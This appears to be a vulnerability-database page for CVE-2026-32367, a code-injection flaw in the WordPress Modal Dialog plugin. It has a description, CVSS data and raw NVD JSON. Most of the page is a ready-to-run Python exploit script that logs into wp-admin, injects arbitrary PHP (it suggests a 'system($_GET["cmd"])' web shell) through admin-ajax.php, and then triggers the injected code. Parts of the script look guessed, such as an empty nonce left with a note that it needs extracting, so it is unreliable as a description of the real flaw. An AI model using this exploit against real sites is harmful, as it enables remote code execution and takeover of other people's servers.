Security Vulnerability Report
中文
CVE-2026-32367 CVSS 9.1 CRITICAL

CVE-2026-32367

Published: 2026-03-13 19:54:51
Last Modified: 2026-04-22 21:30:26

Description

Improper Control of Generation of Code ('Code Injection') vulnerability in Yannick Lefebvre Modal Dialog modal-dialog allows Remote Code Inclusion.This issue affects Modal Dialog: from n/a through <= 3.5.16.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Modal Dialog插件 <= 3.5.16(所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-32367 PoC - WordPress Modal Dialog RCE # This PoC demonstrates the code injection vulnerability in Modal Dialog plugin # Target: WordPress site with Modal Dialog plugin <= 3.5.16 # Note: Requires high privilege account (admin/editor) import requests import sys from urllib.parse import urlencode def exploit_modal_dialog(target_url, username, password, payload): """ Exploit code injection in WordPress Modal Dialog plugin Args: target_url: Base URL of WordPress site username: WordPress admin/editor username password: WordPress password payload: PHP code to execute (e.g., 'system($_GET["cmd"]);') """ # Login to WordPress session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/admin.php?page=modal-dialog", 'testcookie': '1' } print(f"[*] Logging in to WordPress as {username}...") response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed!") return False print("[+] Login successful!") # Prepare malicious payload for Modal Dialog plugin # The plugin allows injecting PHP code through dialog content exploit_data = { 'action': 'modal_dialog_save', 'modal_dialog_title': 'Malicious Dialog', 'modal_dialog_content': f'<?php {payload} ?>', # Injected PHP code 'modal_dialog_width': '500', 'modal_dialog_height': '300', '_wpnonce': '', # Need to extract actual nonce '_wp_http_referer': f"{target_url}/wp-admin/admin.php?page=modal-dialog" } # Exploit endpoint exploit_url = f"{target_url}/wp-admin/admin-ajax.php" print(f"[*] Sending exploit payload: {payload}") response = session.post(exploit_url, data=exploit_data) if response.status_code == 200: print("[+] Exploit sent successfully!") print("[*] Trigger the payload by accessing the modal dialog endpoint") # Trigger the injected code trigger_url = f"{target_url}/?md_action=show&md_id=1" trigger_response = session.get(trigger_url) print(f"[*] Trigger response status: {trigger_response.status_code}") return True return False def main(): if len(sys.argv) < 5: print("Usage: python cve-2026-32367.py <target_url> <username> <password> <payload>") print("Example: python cve-2026-32367.py http://target.com admin password 'system(id);'") sys.exit(1) target_url = sys.argv[1].rstrip('/') username = sys.argv[2] password = sys.argv[3] payload = sys.argv[4] exploit_modal_dialog(target_url, username, password, payload) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32367", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:50.897", "lastModified": "2026-04-22T21:30:26.497", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Generation of Code ('Code Injection') vulnerability in Yannick Lefebvre Modal Dialog modal-dialog allows Remote Code Inclusion.This issue affects Modal Dialog: from n/a through <= 3.5.16."}, {"lang": "es", "value": "Control Inadecuado de la Generación de Código ('Inyección de Código') vulnerabilidad en Yannick Lefebvre Modal Dialog modal-dialog permite la Inclusión Remota de Código. Este problema afecta a Modal Dialog: desde n/a hasta &lt;= 3.5.16."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/modal-dialog/vulnerability/wordpress-modal-dialog-plugin-3-5-16-remote-code-execution-rce-vulnerability?_s_id=cve", "source": "[email protected]"}]}}